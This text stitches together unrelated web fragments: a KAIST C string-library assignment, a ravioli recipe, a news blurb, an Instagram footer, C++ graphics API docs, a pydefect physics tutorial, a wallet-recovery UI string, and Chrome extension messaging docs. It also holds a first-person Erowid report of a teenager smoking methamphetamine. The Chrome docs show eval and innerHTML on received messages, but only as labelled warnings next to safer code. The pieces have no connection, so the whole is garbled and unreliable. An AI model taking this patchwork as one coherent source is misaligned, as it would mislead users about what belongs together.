in the matching line.
Tips:
sgrep.c
). You can start with the file. fgets
should be useful for reading a line from a file. 'man fgets' should give you more information. Develop on lab machines using emacs
to create source code and gdb
to debug.
For part 1, you implement the code str.c
and str.h
, which should contain the definitions of required functions.
For part 2, a skeleton C file is available here: sgrep.c. It implements the basic I/O and argument parsing, so all you need is fill out the rest of the functionalities with Str
functions. Feel free to use this file as your starting point (of course, you don't have to use it), and change any part in the code if you'd like.
Create a readme
text file that contains:
StrCopy
to call assert
to verify that the destination memory area specified by the caller is large enough? Explain.readme
text file whether you use pointer notation for the extra credit.
Use KAIST
KLMS to submit your assignments. Your submission should
be one gzipped tar file whose name is
YourStudentID_assign2.tar.gz
For example, if your student ID is 20191234,
please name the file as
20191234_assign2.tar.gz
Create a local directory named 'YourStudentID_assign2
' and place all your files in it. Then, tar
your submission file.
Please refer here for how to archive your assignment.
Your submission need to include the following files:
str.c
and str.h
filessgrep.c
filereadme
text fileYour submission file should look like this:
We will grade your work on quality from the user's point of view and from the programmer's point of view. To encourage good coding practices, we will deduct points if gcc209
generates warning messages.
From the user's point of view, your module has quality if it behaves as it should.
In part, style is defined by the rules given in The Practice of Programming (Kernighan and Pike), as summarized by the Rules of Programming Style document. These additional rules apply:
Names: You should use a clear and consistent style for variable and function names. One example of such a style is to prefix each variable name with characters that indicate its type. For example, the prefix c
might indicate that the variable is of type char
, i
might indicate int
, pc
might mean char*
, ui
might mean unsigned int
, etc. But it is fine to use another style -- a style which does not include the type of a variable in its name -- as long as the result is a readable program.
Line lengths: Limit line lengths in your source code to 72 characters. Doing so allows us to print your work in two columns, thus saving paper.
Comments: Each source code file should begin with a comment that includes your name, the number of the assignment, and the name of the file.
Comments: Each function should begin with a comment that describes what the function does from the caller's point of view. The function comment should:
Parameter Validation: Validate function parameters via asserts whenever possible.
assert is a macro implementations of assertion, used for verifying the conditions. If the condition is true, it does nothing. However, if the conditions is FALSE, it displays an error messages and aborts the running program.
In this assignment, you should validate the function's parameters with assert
. When you try to check whether your Str
functions validate the given parameters correctly or not, the aborted program may annoy you. In that case, you can add NDEBUG
macro in your source file to ignore the assert functions. Otherwise, you can also add -D NDEBUG argument to the gcc
. The -D NDEBUG
argument commands gcc209
to define the NDEBUG
macro, just as if the preprocessor directive #define NDEBUG
appeared in the specified .c file(s). Following OBcommands are example of disabling assert using -D option
If NDEBUG is defined as a macro name in the source file, the assert macro is defined as ((void)0)
, which means that the assert macro will be ignore.
C programmers sometimes use idioms that rely on the fact that the null character ('\0'), the NULL
address, the integer 0, and the logical concept FALSE have the same representation. You may use those idioms. For example, you may define StrGetLength
like this:
or like this:
But you are not required to use those idioms. In fact, we recommend that you avoid the use of idioms that adversely affect understandability.
const
Keyword and StrSearch
The use of the const
keyword within StrSearch
is tricky, as this question-and-answer sequence indicates.


Preparation time
30 mins to 1 hour
Cooking time
1 to 2 hours
Serves
Serves 4
Make your own pasta dough for a luxurious ravioli filled with a delicate salmon and crab mousse and topped with caviar and a lobster crisp.
Equipment and preparation: for this recipe you will need a food processor, a pasta machine, a round cutter and a hand-held blender.
For the lobster tapioca garnish, place the tapioca in a pan with the lobster stock and heat until the tapioca becomes translucent. At this point, remove the tapioca from the heat and drain off the liquid into a container. Taste the tapioca and add salt as required. Add a little of the cooking liquid back to the tapioca and spread the mix evenly over a silicon mat and dry in a dehydrator or a very low oven until crisp (this will take a few hours).
For the garnish, snap off a few pieces of the tapioca crisp and fry in oil until crisp and puffed up. Set aside until ready to serve.
To make the pasta, in a food processor, mix the flour and egg yolks until they come together to form a rough dough. Squeeze a piece of the dough, if it feels hard add some more egg yolk and mix again. The dough should be firm but pliable.
Tip the dough out onto a lightly floured work surface and knead the dough for five minutes. Wrap in cling film and place in the fridge to rest for 30 minutes.
For the crab mousse, put the salmon and egg white into a food processor and pulse until smooth then slowly add the cream, pulsing to combine. Transfer the mousse to a bowl and add the picked white crab meat, chopped dill and chopped ginger. Season, to taste, with salt and pepper. Spoon the mousse into a piping bag fitted with a large plain nozzle and set aside.
Take the pasta out of the fridge and cut it into two pieces. Put the dough through the pasta machine one setting at a time, starting at the largest and working down to the last and smallest setting. Put the other piece through the machine. You now have two long sheets of pasta.
Brush one pasta sheet with some egg yolk and pipe four equally-sized balls of the crab mousse, about 6cm/2½in apart, in a line along one side of the pasta. Lower the other sheet of pasta over the mousse and gently pat it down using your fingers to seal all around the each ball of filling.
Using a 4-6cm/2-3in cutter, cut out the ravioli into neat rounds.
For the mussels, clean and debeard the mussels. If any mussels are opened, tap them lightly on a hard surface. If they don't close, discard them.
Heat a heavy-bottomed pan and add the mussels. Cover with a lid. After a minute, add the shallots, garlic, thyme and the white wine. Replace the lid and steam the mussels until they are all open (discard any that don't open). Add the cream and bring to a boil. Strain the mussels, reserving the sauce and leave to cool slightly until safe to handle and pick out the mussel meat from the shells.
Add the mussel meat, diced cooked potatoes and chives to the cream sauce and warm through. In a separate pan wilt the spinach with two tablespoons of water and a little salt. Keep warm until ready to serve.
To serve, bring a pan of salted water to a simmer and add the ravioli. Cook for four minutes.
Place a small mound of the wilted spinach into the centre of each serving bowl then spoon over the mussel and potato sauce. Remove the ravioli from the water using a slotted spoon and place one on top of each mound of spinach. Using a hand-held blender, foam the rest of the mussel sauce and spoon it around the ravioli.
Top the ravioli with caviar and tapioca crisps then garnish with some pea shoots and serve immediately.


NDP leader Notley addressing party members Saturday
by Laine Mitchell, CTV News EdmontonEDMONTON – Alberta opposition leader Rachel Notley is set to address NDP members at a bi-annual council in Edmonton Saturday.
Notley’s address will take place at 10 a.m. at the Northern Alberta Institute of Technology.
Notley is expected to to discuss the NDP's first few months in opposition and a so-called UCP expense scandal.
More to come…


OR
Log in with Facebook
Forgot password?
Don't have an account?
Sign up
Get the app.
About
Blog
Jobs
Help
API
Privacy
Terms
Top Accounts
Hashtags
Locations
© 2021 Instagram from Facebook


|
Simple Graphics Library
0.9.5
SGL API
|
#include <sgl.h>
Public Member Functions | |
| ObjectWindow (const std::string &title, int left, int top, int width, int height, double min_x, double max_x, double min_y, double max_y) | |
| ObjectWindow (const std::string &title, int width, int height) | |
| ObjectWindow (const std::string &title, double min_x, double max_x, double min_y, double max_y) | |
| ObjectWindow () | |
| ~ObjectWindow () | |
| void | prepaint () override |
| void | postpaint () override |
| void | mouse_pressed (double x, double y, MouseButton button) override |
| void | mouse_released (double x, double y, MouseButton button) override |
| void | mouse_moved (double x, double y) override |
| void | mouse_dragged (double x, double y) override |
| void | key_pressed (int k, double x, double y) override |
| void | internal_add (GraphicalObject *obj) |
| template<typename T , typename... Args> | |
| T * | add (Args &&... args) |
| void | remove (GraphicalObject *obj) |
| void | remove_all () |
| GraphicalObject * | hit (double x, double y) const |
| std::vector< GraphicalObject * >::iterator | begin () |
| std::vector< GraphicalObject * >::iterator | end () |
| Public Member Functions inherited from sgl::Window | |
| Window (const std::string &title, int left, int top, int width, int height, double min_x, double max_x, double min_y, double max_y) | |
| Window (const std::string &title, int width, int height) | |
| Window (const std::string &title, double min_x, double max_x, double min_y, double max_y) | |
| Window () | |
| virtual | ~Window () |
| virtual void | clear () |
| virtual void | set_title (const std::string &str) |
| virtual void | set_background_color (const Color &color) |
| virtual void | set_position (int x, int y) |
| virtual void | set_size (int width, int height) |
| virtual void | set_viewport (double left, double right, double bottom, double top) |
| virtual void | set_visible (bool visible) |
| virtual CursorShape | set_cursor (CursorShape cursor) |
| virtual CursorShape | get_cursor () |
| virtual void | run () |
| virtual void | repaint () |
| virtual void | paint ()=0 |
| virtual void | paint_all () |
| virtual int | get_x () const |
| virtual int | get_y () const |
| virtual int | get_width () const |
| virtual int | get_height () const |
| virtual void | set_window_size (int w, int h) |
| virtual void | resized (int w, int h) |
| virtual double | get_min_x () const |
| virtual double | get_max_x () const |
| virtual double | get_min_y () const |
| virtual double | get_max_y () const |
| virtual void | draw_axes (double x_inc, double y_inc) const |
| virtual void | mouse_entered () |
| virtual void | mouse_exited () |
| KeyModifier | get_key_modifiers () const |
| void | set_key_modifiers (KeyModifier mod) |
| virtual void | start_timer (int msec) |
| virtual void | timer_expired () |
Protected Attributes | |
| std::vector< GraphicalObject * > | object_list |
| GraphicalObject * | active_object |
| Protected Attributes inherited from sgl::Window | |
| double | min_x |
| double | max_x |
| double | min_y |
| double | max_y |
| CursorShape | normal_cursor |
| KeyModifier | key_mods |
Additional Inherited Members | |
| Protected Member Functions inherited from sgl::Window | |
| void | initialize (const std::string &title, int left, int top, int width, int height, double min_x, double max_x, double min_y, double max_y) |
The class representing window objects that can contain graphical objects that the user can manipulate.
| sgl::ObjectWindow::ObjectWindow | ( | const std::string & | title, |
| int | left, | ||
| int | top, | ||
| int | width, | ||
| int | height, | ||
| double | min_x, | ||
| double | max_x, | ||
| double | min_y, | ||
| double | max_y | ||
| ) |
Constructor that provides the most control to the client. Creates a window with detailed information.
| title | the text to appear within the window's titlebar |
| left | the x coordinate in screen coordinates of the window's left-top corner |
| top | the y coordinate in screen coordinates of the window's left-top corner |
| width | the width in screen coordinates of the window |
| height | the height in screen coordinates of the window |
| min_x | the smallest x value representing the left-most position within the viewport |
| max_x | the largest x value representing the right-most position within the viewport |
| min_y | the smallest y value representing the bottom-most position within the viewport |
| max_y | the largest y value representing the top-most position within the viewport |
| sgl::ObjectWindow::ObjectWindow | ( | const std::string & | title, |
| int | width, | ||
| int | height | ||
| ) |
Creates a window of a specified width and height
| title | the text to appear within the window's titlebar |
| width | the width in screen coordinates of the window |
| height | the height in screen coordinates of the window |
| sgl::ObjectWindow::ObjectWindow | ( | const std::string & | title, |
| double | min_x, | ||
| double | max_x, | ||
| double | min_y, | ||
| double | max_y | ||
| ) |
Creates a window with a default position and size.
| title | the text to appear within the window's titlebar |
| min_x | the smallest x value representing the left-most position within the viewport |
| max_x | the largest x value representing the right-most position within the viewport |
| min_y | the smallest y value representing the bottom-most position within the viewport |
| max_y | the largest y value representing the top-most position within the viewport |
| sgl::ObjectWindow::ObjectWindow | ( | ) |
Create a default, plain window
| sgl::ObjectWindow::~ObjectWindow | ( | ) |
Destroys an object window object.
|
inline |
Creates and adds a graphical object to the window. Clients specify the exact type of the graphical object as the template parameter and pass any arguments required by that object's constructor in the parameter list.
| T | the type of graphical object to add to this window |
| args | forwards the method parameters to the graphical object's constructor |
| std::vector< GraphicalObject * >::iterator sgl::ObjectWindow::begin | ( | ) |
Returns an iterator to the begining of the vector of graphical objects this window contains.
| std::vector< GraphicalObject * >::iterator sgl::ObjectWindow::end | ( | ) |
Returns an iterator just past the end of the vector of graphical objects this window contains.
| GraphicalObject * sgl::ObjectWindow::hit | ( | double | x, |
| double | y | ||
| ) | const |
Returns the first graphical object in the list of graphical objects with a bounding box that intersects the given viewport coordinates.
| x | the x coordinate in viewport coordinates of a location within the viewport |
| y | the y coordinate in viewport coordinates of a location within the viewport |
| void sgl::ObjectWindow::internal_add | ( | GraphicalObject * | obj | ) |
Adds a graphical object to the window. Clients generally call the add method (which calls this method indirectly) rather than calling this method directly. That way the the window is responsible for managing the Graphical object's memory.
| obj | the graphical object to add to this window |
|
overridevirtual |
Called by the event manager when the user types a key when the window has keyboard focus. The key pressed and the location of the mouse pointer in viewport coordinates is reported.
| k | the key typed by the user |
| x | the x coordinate in viewport coordinates of the location of the mouse pointer within the window |
| y | the y coordinate in viewport coordinates of the location of the mouse pointer within the window |
Reimplemented from sgl::Window.
Reimplemented in sgl::ProceduralWindow.
|
overridevirtual |
Called by the event manager when the user drags the mouse (moves the mouse while holding down a mouse button) when the mouse pointer is within the window. The location reported is given in viewport coordinates.
| x | the x coordinate in viewport coordinates of the location of the mouse pointer within the window during the most recent mouse event. |
| y | the y coordinate in viewport coordinates of the location of the mouse pointer within the window during the most recent mouse event. |
Reimplemented from sgl::Window.
Reimplemented in sgl::ProceduralWindow.
|
overridevirtual |
Called by the event manager when the user moves the mouse when the mouse pointer is within the window. The location reported is given in viewport coordinates.
| x | the x coordinate in viewport coordinates of the location of the mouse pointer within the window during the most recent mouse event. |
| y | the y coordinate in viewport coordinates of the location of the mouse pointer within the window during the most recent mouse event. |
Reimplemented from sgl::Window.
Reimplemented in sgl::ProceduralWindow.
|
overridevirtual |
Called by the event loop when the user depresses any mouse button when the mouse pointer is within the window.
| x | the x coordinate in viewport coordinates of the mouse pointer location within the window during the current mouse event. |
| y | the y coordinate in viewport coordinates of the mouse pointer location within the window during the current mouse event. |
| button | the button that was depressed, left (LEFT_BUTTON) or right (RIGHT_BUTTON) during the current mouse event. |
Reimplemented from sgl::Window.
Reimplemented in sgl::ProceduralWindow.
|
overridevirtual |
Called by the event manager when the user releases any mouse button when the mouse pointer is within the window.
| x | the x coordinate in viewport coordinates of the mouse pointer location within the window during the current mouse event. |
| y | the y coordinate in viewport coordinates of the mouse pointer location within the window during the current mouse event. |
| button | the button that was released, left (LEFT_BUTTON) or right (RIGHT_BUTTON) during the current mouse event. |
Reimplemented from sgl::Window.
Reimplemented in sgl::ProceduralWindow.
|
overridevirtual |
|
overridevirtual |
| void sgl::ObjectWindow::remove | ( | GraphicalObject * | obj | ) |
Removes a graphical object from the window. Frees up the memory held by the graphical object.
| obj | the graphical object to remove from the window. |
| void sgl::ObjectWindow::remove_all | ( | ) |
Removes all the graphical objects from the list of contained graphical objects. Frees up the memory allocated for the graphical objects.
|
protected |
The list of graphical objects contained in this window.


#kyojoLab/nav(__SID__,__ACT__)
Materialize1 Laboratory
Materialize1 Forms Laboratory Entrance
Exit
#kyojoLab/githubRibbon


Tutorial for calculation of vertical transition level¶
We here illustrate how to calculate the vertical transition level (VTL) with an example of NaCl. For the calculation of the VTL, we need to apply special correction scheme, here we call it the GKFO correction. Please read T. Gake, Y. Kumagai*, C. Freysoldt, and F. Oba, Phys. Rev. B, 101, 020102(R) (2020). for details.
Assuming that the typical defect calculations in NaCl based on the PBEsol functional have been done already as introduced in the tutorial and one further wants to calculate the photo-absorption energy via Cl vacancy in the neutral charge state.
NaCl
│
├ unitcell/ ── unitcell.json
│
└ defects/ ── perfect/
└ Va_Cl_0/ ── absorption/
Firstly, create the absorption/
directory at the Va_Cl_0/
and copy the vasp input files from Va_Cl_0/
.
Then, edit INCAR
to change NSW
to 1 and add the NELECT
tag with
reducing it by 1 from the neutral one.
Or one can type:
vise vs -uis NSW 1 --options charge -1 -d ../ -t defect
After running vasp, we then create calc_results.json
using the following command in the absorption/
directory.
pydefect cr -d .
Then, type
pydefect gkfo -u ../../../unitcell/unitcell.json -iefnv ../correction.json -icr ../calc_results.json -fcr calc_results.json -cd 1
With this command, one can obtain gkfo_correction.pdf
and gkfo_correction.json
files,
and the correction energy is shown as follows:
+--------------------+------------+
| charge | 0 |
| additional charge | 1 |
| pc 1st term | 0 |
| pc 2nd term | 0.731247 |
| alignment 1st term | -0.0338952 |
| alignment 2nd term | -0.113709 |
| alignment 3rd term | -0 |
| correction energy | 0.583643 |
+--------------------+------------+
The gkfo_correction.pdf
shows the potential profile caused by addition/removal
of the electron and its alignment term.
For the absorption energy, one needs to know the conduction band minimum position, which is now 4.7777 eV. And the total energies of initial and final states are -219.02114546 eV and -222.32750506 eV. Therefore, the absorption energy is
-222.32750506+219.02114546+4.7777+0.583643 = 2.0549834 eV
It is also worthwhile to check the eigenvalues of initial and final states.
Using the eig
sub-parser as follows,
pydefect -d . -pcr ../../perfect/calc_results.json
we can obtain the eigenvalues.pdf
, which looks as
and the initial eigenvalues.pdf
looks as


The first time that i smoked crank i was with one of my friends, i was kinda scared and i didn't know what to expect. i was curious so i decided that once wouldn't hurt. me and my friend went out behind the school in my car and she proceeded to do up a foil. i was intent on every thing she was doing. i said i wanted one hit. she took the first hit and showed me how to breathe in the smoke. i then took my first hit. at first i didn't feel anything. i decided to take another one. after awhile i noticed that i was talking. i couldn't stop talking. i wanted to talk about everything.
i felt like everything was so clear to me. i felt so smart. i had so much energy. and i smoked some more. my eyes were wide open. and it felt as if they had a spring in them. we went back to school and i felt like talking with everyone. another thing was i had to go to the bathroom more then i ever had before. i hadn't even eaten yet that day. i couldn't even think about school. i talked to this guy that i had been crushing all year. we talked for the rest of the day and didn't go to classes.
after school i wanted to go somewhere and do something. but i had nothing to do and no more to smoke. my head was starting to pound and i felt exhausted. i tried to sleep in the car while i waited for my boyfriend to get off work but i couldn't shut my eyes. i knew i was hungry but i couldn't eat. by the time we went home it was late. i didn't sleep all that night. the next day i still hadn't eaten, but yet i had gone to the bathroom a dozen times. my mouth was dry and my head ached. my jaw was sore because i had been clenching it all night. i needed something to make me feel better. so i went looking for my friend and i did it all over again.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Select backup pdf of the wallet you wish to recover. The PDF is not uploaded to any servers, it's loaded into the memory of the browser to extract the relevant data.
Reading file: {{ backupFile.name }}


--- layout: doc title: Product walkthrough permalink: /docs/product-walkthrough parent: /docs/home ---


Except as otherwise noted, the content of this page is licensed under the Creative Commons Attribution 3.0 License, and code samples are licensed under the BSD License.
©2011 Google
Since content scripts run in the context of a web page and not the extension, they often need some way of communicating with the rest of the extension. For example, an RSS reader extension might use content scripts to detect the presence of an RSS feed on a page, then notify the background page in order to display a page action icon for that page.
Communication between extensions and their content scripts works by using message passing. Either side can listen for messages sent from the other end, and respond on the same channel. A message can contain any valid JSON object (null, boolean, number, string, array, or object). There is a simple API for one-time requests and a more complex API that allows you to have long-lived connections for exchanging multiple messages with a shared context. It is also possible to send a message to another extension if you know its ID, which is covered in the cross-extension messages section.
If you only need to send a single message to another part of your extension (and optionally get a response back), you should use the simplified chrome.extension.sendRequest() or chrome.tabs.sendRequest() methods. This lets you send a one-time JSON-serializable message from a content script to extension, or vice versa, respectively. An optional callback parameter allows you handle the response from the other side, if there is one.
Sending a request from a content script looks like this:
contentscript.js ================ chrome.extension.sendRequest({greeting: "hello"}, function(response) { console.log(response.farewell); });
Sending a request from the extension to a content script looks very similar, except that you need to specify which tab to send it to. This example demonstrates sending a message to the content script in the selected tab.
background.html =============== chrome.tabs.getSelected(null, function(tab) { chrome.tabs.sendRequest(tab.id, {greeting: "hello"}, function(response) { console.log(response.farewell); }); });
On the receiving end, you need to set up an chrome.extension.onRequest event listener to handle the message. This looks the same from a content script or extension page. The request will remain open until you call sendResponse, so it is good practice to call sendResponse with an empty object to allow the request to be cleaned up.
chrome.extension.onRequest.addListener( function(request, sender, sendResponse) { console.log(sender.tab ? "from a content script:" + sender.tab.url : "from the extension"); if (request.greeting == "hello") sendResponse({farewell: "goodbye"}); else sendResponse({}); // snub them. });
Note: If multiple pages are listening for onRequest events, only the first to call sendResponse() for a particular event will succeed in sending the response. All other responses to that event will be ignored.
Sometimes it's useful to have a conversation that lasts longer than a single request and response. In this case, you can open a long-lived channel from your content script to an extension page, or vice versa, using chrome.extension.connect() or chrome.tabs.connect() respectively. The channel can optionally have a name, allowing you to distinguish between different types of connections.
One use case might be an automatic form fill extension. The content script could open a channel to the extension page for a particular login, and send a message to the extension for each input element on the page to request the form data to fill in. The shared connection allows the extension to keep shared state linking the several messages coming from the content script.
When establishing a connection, each end is given a Port object which is used for sending and receiving messages through that connection.
Here is how you open a channel from a content script, and send and listen for messages:
contentscript.js ================ var port = chrome.extension.connect({name: "knockknock"}); port.postMessage({joke: "Knock knock"}); port.onMessage.addListener(function(msg) { if (msg.question == "Who's there?") port.postMessage({answer: "Madame"}); else if (msg.question == "Madame who?") port.postMessage({answer: "Madame... Bovary"}); });
Sending a request from the extension to a content script looks very similar, except that you need to specify which tab to connect to. Simply replace the call to connect in the above example with chrome.tabs.connect(tabId, {name: "knockknock"}).
In order to handle incoming connections, you need to set up a chrome.extension.onConnect event listener. This looks the same from a content script or an extension page. When another part of your extension calls "connect()", this event is fired, along with the Port object you can use to send and receive messages through the connection. Here's what it looks like to respond to incoming connections:
chrome.extension.onConnect.addListener(function(port) { console.assert(port.name == "knockknock"); port.onMessage.addListener(function(msg) { if (msg.joke == "Knock knock") port.postMessage({question: "Who's there?"}); else if (msg.answer == "Madame") port.postMessage({question: "Madame who?"}); else if (msg.answer == "Madame... Bovary") port.postMessage({question: "I don't get it."}); }); });
You may want to find out when a connection is closed, for example if you are maintaining separate state for each open port. For this you can listen to the Port.onDisconnect event. This event is fired either when the other side of the channel manually calls Port.disconnect(), or when the page containing the port is unloaded (for example if the tab is navigated). onDisconnect is guaranteed to be fired only once for any given port.
In addition to sending messages between different components in your extension, you can use the messaging API to communicate with other extensions. This lets you expose a public API that other extensions can take advantage of.
Listening for incoming requests and connections is similar to the internal case, except you use the chrome.extension.onRequestExternal or chrome.extension.onConnectExternal methods. Here's an example of each:
// For simple requests: chrome.extension.onRequestExternal.addListener( function(request, sender, sendResponse) { if (sender.id == blacklistedExtension) sendResponse({}); // don't allow this extension access else if (request.getTargetData) sendResponse({targetData: targetData}); else if (request.activateLasers) { var success = activateLasers(); sendResponse({activateLasers: success}); } }); // For long-lived connections: chrome.extension.onConnectExternal.addListener(function(port) { port.onMessage.addListener(function(msg) { // See other examples for sample onMessage handlers. }); });
Likewise, sending a message to another extension is similar to sending one within your extension. The only difference is that you must pass the ID of the extension you want to communicate with. For example:
// The ID of the extension we want to talk to. var laserExtensionId = "abcdefghijklmnoabcdefhijklmnoabc"; // Make a simple request: chrome.extension.sendRequest(laserExtensionId, {getTargetData: true}, function(response) { if (targetInRange(response.targetData)) chrome.extension.sendRequest(laserExtensionId, {activateLasers: true}); }); // Start a long-running conversation: var port = chrome.extension.connect(laserExtensionId); port.postMessage(...);
When receiving a message from a content script or another extension, your background page should be careful not to fall victim to cross-site scripting. Specifically, avoid using dangerous APIs such as the below:
background.html =============== chrome.tabs.sendRequest(tab.id, {greeting: "hello"}, function(response) { // WARNING! Might be evaluating an evil script! var resp = eval("(" + response.farewell + ")"); }); background.html =============== chrome.tabs.sendRequest(tab.id, {greeting: "hello"}, function(response) { // WARNING! Might be injecting a malicious script! document.getElementById("resp").innerHTML = response.farewell; });
Instead, prefer safer APIs that do not run scripts:
background.html =============== chrome.tabs.sendRequest(tab.id, {greeting: "hello"}, function(response) { // JSON.parse does not evaluate the attacker's scripts. var resp = JSON.parse(response.farewell); }); background.html =============== chrome.tabs.sendRequest(tab.id, {greeting: "hello"}, function(response) { // innerText does not let the attacker inject HTML elements. document.getElementById("resp").innerText = response.farewell; });
You can find simple examples of communication via messages in the examples/api/messaging directory. Also see the contentscript_xhr example, in which a content script and its parent extension exchange messages, so that the parent extension can perform cross-site requests on behalf of the content script. For more examples and for help in viewing the source code, see Samples.